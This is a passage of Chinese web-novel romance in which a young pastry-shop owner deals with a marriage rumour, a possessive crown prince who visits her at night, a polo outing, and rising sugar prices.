苏显今年二十一,按理说早该婚配,可他毕竟还在读书,这事可以再推一推。 苏茵茵今年十四,明年及笄,也可以提前说一说。 毕竟这俩孩子一个比一个的厉害。 对苏家夫妇来讲,长子都不介意他再等等,女儿的婚事更是不愿提。 他们一家人挺好的,何必多事。 娶妇跟嫁女不同,到时候女儿是要去其他家的。 茵茵小时候他们还敢想想,如今提都不愿意提。 但越是这样,来登门的越多。 苏娘子只能应付着,一律回复:“孩子们还小。” 苏茵茵在新店的时候还好一些,多数人也没那样无礼,直接找上门。 除了孟三公子。 他妹妹最近没跟过来,说是家里订了亲事,备嫁不能出门。 孟三着急的厉害,他知道妹妹的想法,难免想要牵牵线。 家里人不知道苏显的才华,他能不知道吗? 苏显考不上真不是水平问题,是夫子们早有吩咐。 以他十二岁考上秀才的天赋本事,换做其他人应该大夸特夸。 但夫子们一直觉得可惜,他们都觉得人家再学一两年,绝对可以做县试案首。 相比功名,山家书院的夫子们更愿意教他真本事。 换句话说,若苏显真的是草包,今年状元黎兴,为何跟他一见如故。 可世人都以功名论成败,丝毫不相信他的话。 家里走不通,就只能来找苏显了,他聪明,只要他有想法,一定能救妹妹于水火。 毕竟黎兴跟郡主那是,他们家就帮忙了。 苏显自然不在店里,苏茵茵听到这话,反问道:“你家妹妹嫁给哪家了?为何要说他家是水火?” 孟三公子噎住。 他一直觉得苏茵茵可爱漂亮,说话也温柔。 也没人讲她开口便让人无法回答啊。 苏茵茵继续道:“如果真的是水火,那你爹娘是怎么想的,难道他们那般心狠?” 苏茵茵直接抛出这两个问题,让孟三公子无法回答。 他要说对方是谁,话传出去就会结怨,如果妹妹还是要嫁,那后果不堪设想。 如果说这是爹娘的错,又极为不孝。 反正不能讲就是。 但这样一来,就没有必须要见苏显的理由。 孟三公子想着苏茵茵年纪小,就想再哄一哄,连忙道:“哎呀你是个小姑娘,说不明白的,跟你哥哥商量好,行不?” “不行,这跟我哥关系不大。”苏茵茵直白道,“他不是跟你说过吗。” 孟三公子这才意识到,苏显的妹妹可没那么容易糊弄,挠头道:“苏妹妹,你若明白所有的话,就知道我跟妹妹的想法。” 还算英俊的青年人如此低三下四相求,让店里女客人都觉得不好意思,劝道:“苏老板,到底有什么事啊。” 眼看有人眼神不对,苏茵茵直接道:“他想不排队就买蛋挞,被我拒绝了。” 原本想看八卦的客人们瞬间怒了,立刻道:“你这人怎么这样,大家都在排队,你怎么不排?” “苏老板从来都不让人插队的,你还赶紧去后面站着。” “仗着有几分交情就不知道谁是谁了?” 孟三公子之后退到店外,整个人都傻了。 他想象中的场景并未出现。 苏家兄妹,都没有因为他家门第更高而高看一眼。 为什么啊。 他现在都是进士了,家里父兄都在为官。 以苏家的情况跟他家结亲,绝对是高攀。 金彦磊来的时候,正好看到失魂落魄的孟三,两人在宫里见过,对方赶紧行礼。 金彦磊随口道:“怎么这般表情,没买到想要的点心吗。” 怎么又是点心。 苏家点心虽好吃,但不至于这般吧。 对孟三说话,皇亲国戚金彦磊不算客气,面对苏茵茵看过来,连忙脸上带笑:“茵茵姑娘,有段时间没见了。” 孟三看来看去,眼神闪过不敢置信。 他肯定认识眼前的人。 奉国将军的儿子金彦磊,最近很受重用,他跟苏茵茵关系这般好? 怪不得苏家看不上他们。 原来是有更高的门第。 不过也正常,苏家兄妹不是普通人,冰雪聪明,人也生得好。 够怪家里没眼光,一定要阻止这两门婚事。 可这不合适吧。 苏茵茵这么好的姑娘,难道真的要去当妾室。 总之孟三脑子里,根本没有奉国将军家的儿子,会娶一个小官女儿做正妻的可能。 苏茵茵抬头,大概明白对方的想法,颇为无奈,对金彦磊道:“你怎么这样客气?” 金彦磊偷偷道:“当然因为甜菜啊,太厉害了,如果推广成功,不对一定会推广成功。” “到时候你就是整个万龙国的恩人,” 这种说法并不夸张。 如果能让糖类平价化,变成人人易得的调料,那会丰富多少人的生活。 都知道吃糖更容易饱腹,也能带来更多力气。 好东西啊,绝对是好东西。 当然了,还有苏茵茵跟太子之间的关系。 无论哪个方面,他绝对捧着! 这辈子稳了! 金彦磊的“谄媚”在孟三公子看来绝对是不怀好意的讨好。 原来奉国将军家真的要让苏茵茵去当妾室。 真是,真是让人不知道说什么好。 孟三难免憋气,在书铺看到苏显的时候,也没有第一时间去打招呼。 既是因为婚事告吹,也因为他现在都是进士,身份不同。 苏显只当没看到,他也不耐烦孟家。 平日在书院没发现,同窗之谊更是纯粹。 没想到后面还有那么多事。 苏显买好东西准备离开,孟三公子反而沉不住气,赶紧跟上来。 孟三心里想了很多,却也知道自家跟他家的婚事是成不了的,可还是看在往日是好友的份上,多说一句:“你家妹妹的婚事我已经知道了。” 你又知道了。 事关妹妹,苏显开口道:“你又胡乱听了什么。” 孟三都快习惯了。 方才苏茵茵几句话噎住他,现在又来一个苏显! “跟奉国将军儿子的事啊,金大人跟东宫走的近,如今谁人不知。” “可你确定,要让茵茵那么好的姑娘当妾室?” 苏显脸色一变。 东宫? 妾室? 苏显脸黑几分:“不要话说,我家从未有过这种心思。” 孟三却自顾自道:“皇亲国戚的身份确实不同,但都说宁为农家夫不为官家妾,若为权势富贵,实在不应当。” 这话没错,错就错在他随意猜测。 苏显轻笑,缓缓开口:“孟三,不要随便臆测别人的事,张口便是会毁人清白。也不要做些自鸣得意之事,明明不存在的事,在你口中言之凿凿,证据何在?人证何在?” “我苏显明确告诉你,不跟你家结亲,不是因为品级高低,门第如何。” “纯粹是你这个人不成,我妹妹值得更好的人。” “至于什么妾室,那人更是不可能,别说妾,正妻都别想。” 苏显只觉得满腔怒火。 一个孟三都知道东宫的想法。 那其他人呢? 难不成原锐,不,李锐渊,太子殿下,真把妹妹当他囊中之物了。 实在是可笑。 但凡他有一丝尊重,就不可这样把消息散出去。 李锐渊也算自己从小看到大的。 小时候那小孩确实阴郁了些,可人还不错。 如今长大后,怎么变成这样。 孟三那边已经被骂的狗血喷头。 他实在不能理解,自己好歹是进士,在苏显口中,怎么就一文不值了。 不嫁他不是因为门第,是因为看不上他这个人。 实在是侮辱。 太侮辱了! 可他也不想想,到底是谁出言不逊在先。 不过到现在,他们同窗之谊彻底结束,以后再见面只会尴尬万分。 苏茵茵那边给金彦磊装好点心,就看着他离开。 对方回京有事,很快就会离开。 苏茵茵听那意思,应该是甜菜培育有进展。 这样的好事,让她一天心情都很好。 哥哥过来的时候,还笑着道:“哥,我给你留了几个蛋挞,这会吃吧,还热着呢。” 苏显平时脸上没什么表情,此刻却多了几分沉重。 “哥你怎么了?”苏茵茵想到方才的孟三,难道是他们遇到了? 她方才那般说话,就是为哥哥鸣不平。 对方自作主张看上哥哥,之后又自作主张嫌弃,真是没礼貌。 苏显吃了蛋挞,心情好了些,可下一秒,心情瞬间更差。 李锐渊刻意赶在店里没顾客的时候过来,郭展还带着最新培育出的甜菜。 “苏大哥好。”李锐渊下意识喊了一句。 不为什么,就为苏显此刻的表情。 说完李锐渊去找苏茵茵,把甜菜拿出来:“这是新一批培育出来的,估计等到明年,就能正式推广。” 苏茵茵刚想拿过来看看,就看到哥哥的眼神,乖乖退了半步:“挺好的。” “你看看。”李锐渊上前一步。 苏显眉头皱得快解不开了,直接道:“我们要关门了,马上。” 这样的态度,让苏茵茵跟李锐渊同时看过去。 发生了什么事? 面对两个聪明少年少女,苏显看了看郭展,直接道:“太子殿下身份尊贵,安全起见,还是不要过来的好。” “而且还影响我家妹妹的清誉。” 哥哥不说话就罢了。 说话直接捅破窗户纸。 换做其他时候,苏显倒也不会这般。 但今日的事,让他必须做这个恶人。 李锐渊放下甜菜,直接问道:“苏大哥,是有人说了什么吗。” “你既然知道,就让他们不要乱讲。”苏显一想到孟三都知道了,心里便透亮无比。 如果他家都知道,那其他人呢? 会不会半个京城家族都知道。 那他们又会怎么看妹妹。 苏显甚至想带着妹妹远走他乡算了。 举家搬迁也不是难事。 苏茵茵不敢置信道:“谁说了什么?哥?” 可她下意识又道:“原锐不会乱讲吧。” 如果他真的要做什么,家里哪能那样清静。 李锐渊也郑重道:“大哥,我绝对没有乱说,也不会毁茵茵清誉,这里面到底发生了什么。” 苏显瞪了妹妹一眼,随后终于理智回归,把带着妹妹离开京城的想法暂时搁置,细细想了方才孟三的话。 那孟三说奉国将军的儿子金大人,也就是金彦磊跟东宫关系近。 又问他,茵茵是不是要当皇亲国戚的侍妾。 这怎么听,都没有误会吧? 不管怎么说,苏显还是强行关上店内,把妹妹带走。 离这些人越远越好。 妹妹太好看也是为难事。 仔细想想,苏显跟爹娘一样,同样认为这世上没有人配得上妹妹。 苏茵茵回家的时候,还看到李锐渊在旁边看着离开。 还怪可怜的。 等她转过头,李锐渊才离开,对郭展道:“查一查,今日苏显都见了谁。” 虽然不知为何,但他知道是很严重的问题,绝对不能拖延片刻。 郭展领命,赶紧去查。 另一边,回到家里的苏家兄妹俩一直没说话。 准备做饭的苏娘子苏指挥使察觉不对,但俩孩子已经进屋了。 苏显书房里,苏茵茵道:“哥,到底发生了什么。” 事到如今,两人肯定要互通下消息的。 苏茵茵感觉应该是孟三的问题,就把他今日过来的事说了下,又道:“是他说了什么吗。” 怎么还牵连到李锐渊了。 苏显从书架上翻出一本小册。 正是苏茵茵为了感谢李锐渊带来香橼所写的点心小册。 上面记了各种点心的做法。 这册子,李锐渊没拿走? 苏显道:“之前就觉得,应该离他远一点,现在更是如此了。” 苏显先把孟三跟孟小姐的事说了,解释道:“孟小姐人不错,之前帮我跟她哥买过几本书,所以来往多了些,不知道后面有那么麻烦。” 总之已经跟孟三公子撕破脸,以后都不会联系,所以这不是重点。 重点在李锐渊。 说到这,苏显斟酌片刻,挑着能说的说了:“孟三同我提起东宫,提了皇亲国戚。” 最后两个字苏显没说出口。 但他的眼神里说明一切。 那个答案也在苏茵茵心中。 更像是大家心知肚明的答案。 并非他们觉得李锐渊这个人不行。 而是自家跟皇家天壤之别。 孟家家主四品京官,已然看不上他们家,何况万龙国最顶尖的门第。 苏显在山家书院读书多年,自然对此“规则”心知肚明。 对苏茵茵来说,没吃过猪肉还没见过猪跑吗。 而且相比别人,她更接受不了那个潜在的答案,即使有一丝丝的可能,都要跑的远远的。 苏茵茵拿起小册,再次确认:“孟三公子都知道了?” “或许是哪里传出来的。”苏显皱眉,“或许是他见了太子?不行我还要找他一次,让他不要乱说。” 也是刚才气昏头了,少见失去理智。 天色已晚,只好明日一早再去。 吃过晚饭,苏茵茵回到房间才叹口气。 就知道很麻烦。 苏茵茵脑子里闪过很多人,最后翻了个身。 如果孟三都知道了。 那她怎么办。 便是没什么,也会传出什么。 就跟黎兴一样,只是在自家借住一段时间,都传出两人要订亲了。 如果被其他人知道李锐渊从小就在自家玩,而且街坊邻居都清楚。 到时候她的名声肯定没救。 直接是太子的童养媳了。 再残忍一点,太子侍妾。 不是她恶意揣测。 而是小时候还好,如今不合适的。 谁让大家年纪渐渐大了,古代人成亲又早,还三妻四妾。 没想到消息传了那样远。 但是这事还有点奇怪,如果孟家都知道,那为什么其他人没有反应呢。 还是别纠结了。 突然,窗户被人敲响,传来让人意外的声音。 “茵茵,睡了吗。” 苏茵茵立刻坐起来。 李锐渊?! 大晚上的干什么啊。 苏茵茵连忙推开窗子,外面站着的正是李锐渊,他衣服下摆带了些灰尘,一看就是翻墙进来。 “你疯了?”苏茵茵左右看看,“要是让别人知道,我还过不过了。” 李锐渊干脆又从窗子钻进来,直接道:“我怎么可能那么做。” 怎么就不可能了。 不等苏茵茵多想,李锐渊毫不掩饰:“方才我让郭展去查了今天下午的事。那姓孟的看到金彦磊,以为你家拒绝他,是因为姓金的,他也算皇亲国戚。” 虽然里面有些绕。 但苏茵茵还是听明白了。 孟三说以为自己跟金彦磊有关系,所以跑去跟他哥说,他知道为什么被拒绝,因为她要当皇亲国戚的侍妾。 这位说的是金彦磊。 她哥以为说的是李锐渊。 苏茵茵除了无语之外,也没什么别的反应。 确实是孟家孟三能干出来的事。 苏茵茵随口调侃:“那你呢,准备怎么做。” “他被调离京城了。”李锐渊极为认真道,“明天早上就走。” 苏茵茵震惊看向他,再次确定这件事,眼睛眨了又眨,确定这个事实。 眼前的少年人并非她的小伙伴。 是真的拥有绝对权力的帝国继承人。 苏茵茵非但没有被安慰到,反而有些恐惧。 以前那种模糊的感觉,在此刻落到实地。 并非那孟三不该被罚,他几次三番自作多情,给自己跟哥哥都带了很大的麻烦。 只是这种随意就把人弄出京城的权势,是以前的苏茵茵无法想象的。 这一刻,她更能感受到什么是帝国继承人,也能知道李锐渊的身份是太子。 而这种感觉,会随着知道对方身份后,越来越深。 苏茵茵脑子闪过很多东西。 甚至可以理解李锐渊为什么不告诉她,他是太子。 可理解不代表接受。 她如今的生活真的很好,爹娘疼爱,哥哥爱护,她也能给这个家做很多贡献。 在她的家里,她是安全的,自在的,快乐的。 如果走出去,不知道会面临什么,也不知道以后都是生活是什么样。 她不想要这种不确定性。 上辈子她感受的太多了,那种不确定深深烙印在她心底,真的不想体会。 李锐渊却不容她后退,握住她手腕道:“晚了。” 苏茵茵下意识抬头,看向他的眼睛,分明是想闪躲,李锐渊却不同意,一定要她看着自己:“晚了,没有机会躲。” 李锐渊不知道茵茵在怕什么,他却明白苏茵茵喜欢安稳,喜欢到宁愿舍弃很多东西,也要维护一份安稳。 可她不明白,自己也是。 而苏茵茵的存在,对自己来说就是安稳。 这种想法极为自私,而且并不正确。 但他就是要。 不管外面如何夸赞他的新政与民有利,太子如何勤政爱民。 那些东西他都不太在意。 他也在维持安稳,一份苏茵茵要的稳定。 李锐渊继续握住她的手腕:“别怕。” 谁能不怕? 苏茵茵只觉得刚认识李锐渊一样,挣扎着想要离开,却也不敢大声喊叫。 爹娘哥哥要是来了,肯定会极为担心。 这点李锐渊同样明白。 所以他并不松手,或者说就算苏家所有人来了,他也不会松手。 “你别发疯了。”苏茵茵咬牙道,“有童年阴影就去治。” 苏茵茵说完,自己都沉默了。 她确实是个毒舌的人。 但少见能这么直白,干脆扭过头。 李锐渊细细品着这个词,歪头看她:“童年阴影?” “是,我确实有童年阴影,但我在努力走出来,你呢?” 眼前的人太敏锐了。 苏茵茵甚至不想再多说一个字。 再说下去,对方肯定能察觉出更多。 对方的问题让她好气又好笑,追着她不放,就是努力走出童年阴影。 你走是你的事。 我就想待在安全区里,不行吗? 苏茵茵干脆咬上对方的手,故作恶狠狠道:“赶紧走吧,太子殿下。” 被戳破心底深处的苏茵茵下了狠劲,李锐渊的手背流出鲜血,在夜晚格外清晰。 李锐渊自然是不气的,语气反而温和了,继续聊之前的事。 他一定要解释清楚才成。 “那个姓孟的,别的在胡说,但有一点没错,苏茵茵怎么可能做侍妾,她只能是妻子,我李锐渊唯一的妻子。” 苏茵茵听着他堪称温和的话,反而觉得毛骨悚然,有种猎物被盯上的感觉。 李锐渊终于松手,却拿起那本小册,之前他就见过,这次干脆直接道:“用这个打发我,不可能。” 这些倒也罢了,苏茵茵懒得再听,谁料对方走之前,又说了最后一句话:“茵茵,你对我来说,就是你要的安稳。” 第58章 苏茵茵梦里都是李锐渊。 他一会说,大家都有童年阴影,一起走出来好吗。 一会又说,不是安稳吗,你就是。 梦到最后则是他成亲了,自己在旁边端着喜饼,惨兮兮的,搞的好像有人欺负她一样。 等她被娘亲喊起来:“茵茵,茵茵,做噩梦了吗?” 外面天已经大亮,她是不是起晚了! 苏娘子道:“放心,两个店都照常开门,不用担心店里的事。” 苏茵茵打个哈欠,索性没有起床,她确实有点困,也确实做噩梦了。 “娘,咱们一会去买食材吗。”苏茵茵问道。 “对,两个店消耗都很大,都需要补充了。”苏娘子说着,帮茵茵收拾房间,笑着道,“你多睡一会吧,好久没见你睡懒觉了。” 就算是最冷的冬天,女儿也要陪着她起来。 要不是方才茵茵头上直冒冷汗,根本不舍得喊她。 苏茵茵听到娘亲的话,忽然有点愧疚。 娘对她非常好,特别的好。 可她回报的却不够多。 “想什么呢?”苏娘子坐到女儿床边,像小时候一样轻轻拍着她后背,“你跟哥哥都长大了,但不管有什么事都可以跟娘说,凡事有爹娘在呢。” 苏茵茵把头埋在娘亲怀里,好像什么都不怕了。 特别是刚才的噩梦。 “娘我饿了。”苏茵茵撒娇道。 “厨房里热着饭呢,走吧。” 从房间里出来,她才知道自己这一觉睡了有多久。 也证明昨晚什么时候才睡。 李锐渊,怎么就不能像小时候那样可爱。 苏茵茵想想小时候的李锐渊,他那时候好像就是这样了吧。 怪她,看轻了小孩子。 苏茵茵还在吃早饭,苏显已经从外面回来了,他眼神带着诧异,看来是从孟家回来的。 苏茵茵也没瞒着,直接问道:“哥,孟家怎么样了。” “你知道?”苏显深吸口气,“是李锐渊干的。” 这已经是确定的语气。 苏茵茵吃了口绿豆汤,随便搅了几下,苏显那边说道:“听说是临时的命令,让孟三出京城去滇州查当地银矿,当地银矿盘根错节,送人去查跟送死没区别。” “虽然还没正式下令,但传的沸沸扬扬。” 苏茵茵手里的勺子直接掉在碗里。 “他家连忙去求情,一直在疏通关系,但根本没有作用,现在他家准备称病回老家养几年,等把这事弄清楚再说。”苏显继续道。 也就是说。 孟家听到小道消息,孟三要被塞到查银矿的巡察使团里,所以赶紧去四处求关系。 想也知道,李锐渊下令,必然不会更改,甚至不会让他们知道,其中给出命令的人是谁。 孟家求救无门,所以干脆称病算了。 虽说刚考上进士,刚进翰林院,此事称病辞官,那这些年的努力几乎白费了,只有再熬几年,说不定风向变了再回来。 孟家这一手,反应已经算迅速。 估计这会政敌都被猜了个遍,可惜他们找不到正确答案。 退一万步说,就算孟家此刻知道,是东宫下令钦点孟三,说不定立刻欢欣鼓舞,把孟三打包送上。 得了东宫的重视,不管此行如何,都是太子的人了。 太子钦点,跟政敌故意使坏,那可是完全不同的。 好狠辣的一招。 是进是退,是忠是逃。 全看孟家的想法。 所以即便是苏家兄妹都不知道说什么好。 黎兴过来的时也聊到这件事。 不过黎兴问道:“若你是在翰林院,你被钦点去查银矿,那会退缩吗。” 苏显自然不会。 滇州银矿账目一向不清晰,每年收上来的税银明显不对劲。 如今政局安稳,必然是要查的。 若能查清账目于国于民都有利。 苏茵茵点头,有抱负的人绝对不会觉得是危机。 只有想混日子的人,会吓得连夜遁逃。 黎兴还在感慨这个同年跟同年家里软弱。 苏家兄妹已经无语了。 孟三这种再倒李锐渊手中,死都不知道怎么死的。 随即难免想到自家。 苏显更想带着妹妹离开京城了怎么办。 被这种人盯上,那还能跑得了? 可是李锐渊动作倒是快,察觉到不对劲,便立刻去解决掉对方。 绝对不会让孟三对妹妹造成威胁。 这点倒是不错。 以此来看,李锐渊倒有几分尊重。 但话说回来,当妾室万万不可能。 太子的妾室也不可能。 黎兴在这,苏显不好明说,苏茵茵却看出来了。 想到昨天晚上李锐渊的话,她此刻更不好讲,磨蹭一会,终于把手里的粥吃完,叹口气道:“走一步看一步吧。” 好在这一招看似狠辣,实际上留了无数退路给对方,没有真正的赶尽杀绝。 但真的没有吗? 李锐渊必然知道对方性格,才让人这样做的。 这岂止是计谋厉害,算计人心的本事也不小。 等苏显跟黎兴离开,他们要同去山家书院。 苏茵茵跟苏娘子则去进货。 现在两个店面,各种食材用量都在翻倍增加,每次采购都是不小的事。 更别说,买回来的许多原料,需要她们两个在家中先处理了再说。 算着工作量,苏娘子准备把一部分准备工作,教给刘婶子跟刘姐姐,她们都是老邻居了,都信得过。 这样一来,以后开分店也有人当掌柜。 一整天体力工作下来,脑子果然轻松很多。 干活比动脑子轻松多了。 但大晚上的,在家里又看到李锐渊,还是有点惊悚。 苏茵茵见他拍着衣摆上灰尘,认真道:“我爹很快就会察觉到不对劲。” 她爹是兵马司的人,也就是最近两次大意了。 若看看他家墙头,必然会安排人手,捉拿小贼。 小贼本人并不害怕,目光中甚至有些轻松,摊手道:“我又没做什么。” 苏茵茵觉得,眼前的人似乎不想装了,侵略性明显更强。 不过她没什么惧意,或者知道对方不会伤害她,也不会做出什么不可挽回的事。 “那你过来干什么?”苏茵茵问道。 李锐渊摊开手:“需要上药。” 手腕接近手背的地方,齿痕清晰可见,明显会留印记。 也就是他身为太子,多数人看不到这里,否则早就传遍朝野。 “不上药的话,会留的更久。”李锐渊真诚问道,“我不介意别人知道,茵茵介意吗。” 很介意。 苏茵茵翻开箱子,找到好用的伤药,还是绝对不会留疤的那种。 仔细一看,这是她学骑马的时候,李锐渊专门送来的。 刚开始学骑马,难免会有磕碰,可她喜欢,所以她要学。 之后学的好了,伤药还没用完呢,就不怎么需要了。 李锐渊显然也想起来,主动问道:“最近事情少一些,去马场吧,马球射箭,不都是你想学的吗。” “不去,店里很忙。”苏茵茵直接拒绝。 “你那邻居没喊着要去?”李锐渊主动问道。 孙东俊肯定喊了啊。 没事就问问她,马场那边准备好了吗,每年都去,今年怎么不去了。 好在她经常在新店,跟孙东俊见面少了些,不然肯定会被天天念叨。 “不去。”苏茵茵上完药,指了指窗子,“快走吧。” “对了,明天我会给窗子加把锁。” 这点她说到做到,第二天一大早就出去买锁了。 一定要把窗户关好才行。 还有墙头上的灰也扫一扫,否则就那一块墙头干净,谁都知道她家进贼了。 上午打扫完卫生,雨情郡主竟然托人给她送帖子,说知道她骑术不错,问她要不要去郊外马场玩。 苏茵茵都要以为是李锐渊故意的,可帖子上又说,只请亲近的几个人,她想带上朋友也行。 明显为私人小局,李雨情自己设的,看来也是凑巧。 马上要到盛夏,能骑马的时间确实不多了。 苏茵茵快快乐乐回帖,肯定要去的! 顺便喊上孙东俊好了,省得他再烦自己。 今年是十六岁的孙东俊,满脑子还都是吃喝玩乐,之前面对苏茵茵的时候有些扭捏,可不知为何,很快就散了。 这也是苏茵茵愿意喊他的原因。 这才是真正的好朋友! 孙东俊就是不知道苏茵茵的想法,若知道的话,肯定会回忆一起吃戚风蛋糕那日。 她跟原锐之间的气氛,才是自己插不进去的,何必呢。 当然还有原锐的眼神,自己敢有想法吗。 再说了,他最近极爱马球,甚至参加了一个马球队,可惜只是替补。 不然怎么天天喊着想去马场练习。 李雨情去的马场不算小,但请的人不多。 两个闺中好友,还有黎兴,苏显,苏茵茵,以及苏茵茵带来的孙东俊。 放在之前,她肯定会请许多人,可如今想法改了许多,身上的骄蛮更多变成飒爽。 用她的话说,那就是想明白很多事,也看清楚很多人。 李雨情甚至对苏茵茵道:“这一个月,大概是我人生变化最大的一个月了。” 两人骑着马,李雨情慢悠悠道:“甚至想明白了,嫁不嫁黎兴都可以,不管前面是什么,我都不能怕。” 她以前太依赖家人,太依赖自己拥有的一切。 所以家人变脸的时候,才会那么难过。 黎兴身份变化,又让她体会到家人真正的态度,这让她根本接受不了。 跟黎兴成亲的想法,甚至也没有之前那般强烈。 她就是想知道,以后还能靠谁,以后黎兴也变成这样怎么办。 在痛苦挣扎的一个月里,她终于找到答案:“靠自己吧,先相信自己,再说其他的。” 李雨情说的轻飘,但苏茵茵从中听出挣扎跟痛苦。 怪不得她身上的变化那样大,交的朋友也变得少而精。 想明白这些之后,她再问自己,以后的路要怎么走,怎么做才是最正确的选择。 身边两个好友帮着她分析,以郡主的身份嫁给黎兴确实没问题。 一个是她确实喜欢,二黎兴确实是个好人,知道她有困境,所以赶紧来帮忙。 所以,这是两个问题。 直面家里的变脸,以及对未来的选择。 李雨情拢了拢头发,笑着道:“我身上还是有李家人血脉的。” 这倒不是褒义,更像自嘲。 她身上不仅有皇室的骄蛮,还有皇室的冷血果决。 这种成长之痛放在其他人身上,估计早就承受不住了。 苏茵茵认真道:“雨情郡主,人生苦短,做让自己快乐的事就好了。” “说的对,人生苦短。”李雨情笑着道,“可惜没能早点遇到你,回头我离京之后,记得要经常通信啊。” 苏茵茵点头:“肯定会的。 “朝中局势变得极快,谁又能想到以后会如何,按照黎兴说的,好好做一番事业,才是真的。”李雨情感慨道,“听说去滇州巡查队伍快出发了。” 没说完的是,她爹怕的要命,这也是家里寻求联姻的原因之一。 不出意外的话,她家跟滇州银矿案有牵连。 此事她也同黎兴讲了,黎兴只道:“皇上太子公正,不会有太大牵连,等翰林院事情结束,咱们离开京城,跟这里隔开即可。” 李雨情从那会更加确定黎兴这个人有多不一样。 他确定的事便不会改,还要护着自己。 这么看来,她的眼光倒是极好。 以前总说什么门第察觉,贵族品格。 其实都是往自己脸上贴金罢了。 一个人真正如何,还是要看他本身。 苏茵茵有点羡慕她。 不管郡主爹娘抱着什么样的心思,可把她养的自信又勇敢,所以什么都敢争取。 自己家肯定不差,可她到底还有上辈子的记忆,难免瞻前顾后。 李家人不会都这样吧? 苏茵茵想到李锐渊,好像确实差不多。 “你们怎么走得那样慢,快来打马球啊,我七月份要比赛,一定要勤加练习。”孙东俊在前面喊着,“快,我不想当替补啊。” 苏茵茵,李雨情骑马赶过去。 那边孙东俊已经开始练了,可他面前的少女一个来回绕行,孙东俊练球都摸不到。 那个女孩子看着娇娇柔柔的,球技却一流。 孙东俊都看傻眼了,连忙道:“杜妹妹你这也太厉害了,教教我啊。” 对方被夸的不好意思,却认真道:“我是拜过师的,不好教别人。” “那我也拜你为师啊。”孙东俊立刻下马,朝对方拜了拜,“请杜师父教我!” 大家都看傻眼了。 孙东俊本就是这样的性格,这会一心痴迷马球,拜个师怎么了,认大哥的事他都干过啊。 杜妹妹没想到他还真的拜师,其他人起哄道:“拜师需要拜师茶,茶呢?” 那孙东俊又屁颠颠跑到旁边,真的端了杯茶过来,虚心请求球技。 杜妹妹见他认真了,本还有点胆怯,现在倒也不扭捏道:“那好吧,我就教你,但你不能再教旁人。” 怎么来打个马球,还认师父了。 不过时,大家就知道孙东俊认的这个师父有多值了。 场内六个人,杜妹妹一对五不落下风。 除了黎兴马术差些之外,苏茵茵,孙东俊都算是从小骑马的,皆比不过她,可见其厉害。 一整天下来,孙东俊马球技术突飞猛进,甚至约着明日还要来。 这不是什么大事,李雨情道:“你们随时过来就行,这地方平日也没人来。” 可惜苏茵茵确实没空。 因为店里生意出了些问题。 还是出在原材料上。 两家店都需要大量的食材,除了面粉鸡蛋之外,糖跟柠檬都不可或缺。 糖出现一定的问题。 如今产糖的地方分散不算集中,所以货商都是各地收糖,随后卖给需要的大城市。 这些年万龙国百姓生活安稳,对糖的需求逐渐增加,货商们就近就能卖出。 真正运到大城市的话,要么提价,要么数量不够。 好在如今的涨幅还能接受,暂时不会出太大问题。 但柠檬则完全不同。 特别是新店的柠檬系列,所以这东西必不可少。 苏娘子跟苏茵茵原本预定好一批,谁料货船到了京城,却没有柠檬的影子。 询问了才知道,沿途许多渡口都有商人蹲守,看到柠檬就全部包圆,给出的价格还让人咋舌。 那价格高到可以付清苏茵茵他们的赔偿金。 最后结果不言而喻。 柠檬没了。 货船老板恭恭敬敬给了赔款,不好意思道:“都是老主顾,船一靠岸就有人来搬,真的没办法。” “不过你们放心,岭南那边年初很重视香橼,等到今年八九月份,香橼不仅价格好,品质也好。” 如今才五月份,要到再等三四个月。 那他们现在怎么办? 别说苏家两个店铺了,就连京城其他点心铺子也觉得不高兴。 听说是柠檬吃法传到外地,泡水喝极为解暑,所以才被抢购一空。 谁让这确实是好东西。 苏茵茵跟苏娘子只好拿了赔偿的钱回去。 做蛋糕用的柠檬还好些,攒一攒够用到九月份。 但柠檬系列是不能再做的,那样消耗实在太大。 特别是新店,所有的点心都要重新调整。 苏茵茵回到新店便开始做最新的菜单,让店员们提前告知顾客,说是柠檬系列再卖两日,便要更换其他东西。 消息一出,来买东西的顾客更多了。 还好有蛋挞撑着,否则顾客们意见更大。 因为是夏天,还是要以解暑为重点。 苏茵茵想了想,干脆以冰沙为主题好了。 绿豆冰沙,杏子冰沙,以及红豆冰沙,再加上绿豆糕,红豆饼,杏子饼干。 总算把新品给接上。 柠檬的问题倒不大。 这件事里最严重的,反而是糖。 看着糖的价格节节攀升,苏茵茵从中察觉出一丝不对劲。 苏娘子吃饭的时候还说:“要不要提前囤一批糖,家里仓库还有地方,就怕以后价格越来越贵。” 苏指挥使点头,他也道:“最近买糖的人家确实变多了。” 兄妹俩人没说话。 苏显还在思索。 苏茵茵那边已经找到关键,她了解一个旁人不知道的事。 甜菜。 没记错的话,甜菜培育进行的很顺利。 金彦磊上次过来之后,李锐渊还跟她说过一次,最迟明年就能推广。 甜菜种植时间短,熬糖简单。 只要等到明年四五月份,就会有大批便宜的白糖上市。 也就是说,距离糖类平价化还有一年时间。 突然传出糖要涨价? 看这样子,好像还只是开始。 吃过晚饭,之前跟苏家联系过的王家饼店找了过来,说点心行会因糖价的问题要做商讨,想请苏娘子跟苏茵茵一起过去。 时间就在明天早上。 汴京行会极多。 点心行会自然在其中。 这几年有什么重要事情,都会请苏家母女同去。 看来糖的事确实严重。 行会内部应该有其他消息。 苏家母女答应下来,王家饼店的人还感慨:“糖的价格确实在涨,但今年涨的极快,再这样下去,点心都要涨价了。” 别说王家饼店,苏家两个店面也差不多。 不过以往年糖价来看,慢慢有所涨幅似乎又是正常的。 苏茵茵心道,是不是自己多想了? 可吃过饭,她还是先去找哥哥。 苏显总结道:“你的意思是,朝廷已经找到一种植物,可以大批量生产白糖,明年这个时候便会上市。” “对。”苏茵茵道,“上次李锐渊去店里,手里不是拿了颗植物,就是熬白糖的植物。” 苏显先问了妹妹的想法。 苏茵茵直接道:“我怎么觉得,是糖商知道糖的价格会跌落,故意在这之前抬高价格,好大赚一笔。” 只要等甜菜生产的白糖上市,不仅可以止住万龙国糖类往上升的势头,甚至还会让白糖价格回跌。 倘若此时国内糖商知道此事,要么赶紧抛售手里的囤货,迎新新白糖的市场。 要么选择炒作糖价,趁着最后的时间大赚一笔。 前者甚至会有亏损,而且以后糖类由谁把持还说不准。 对于之前的糖商来说,新糖的出现,就等于新技术,他们根本接触不到。 后者倒是稳赚不赔的买卖,一笔买卖下来,足够下半辈子的了。 而且后者并不难操作,人人都知道,如今不仅糖类价格在涨,很多调味品都在慢慢上涨。 生活安稳,对这些东西需求更多,价格自然水涨船高。 还算正常的规律。 就算苏茵茵跟苏显,现在也只是怀疑。 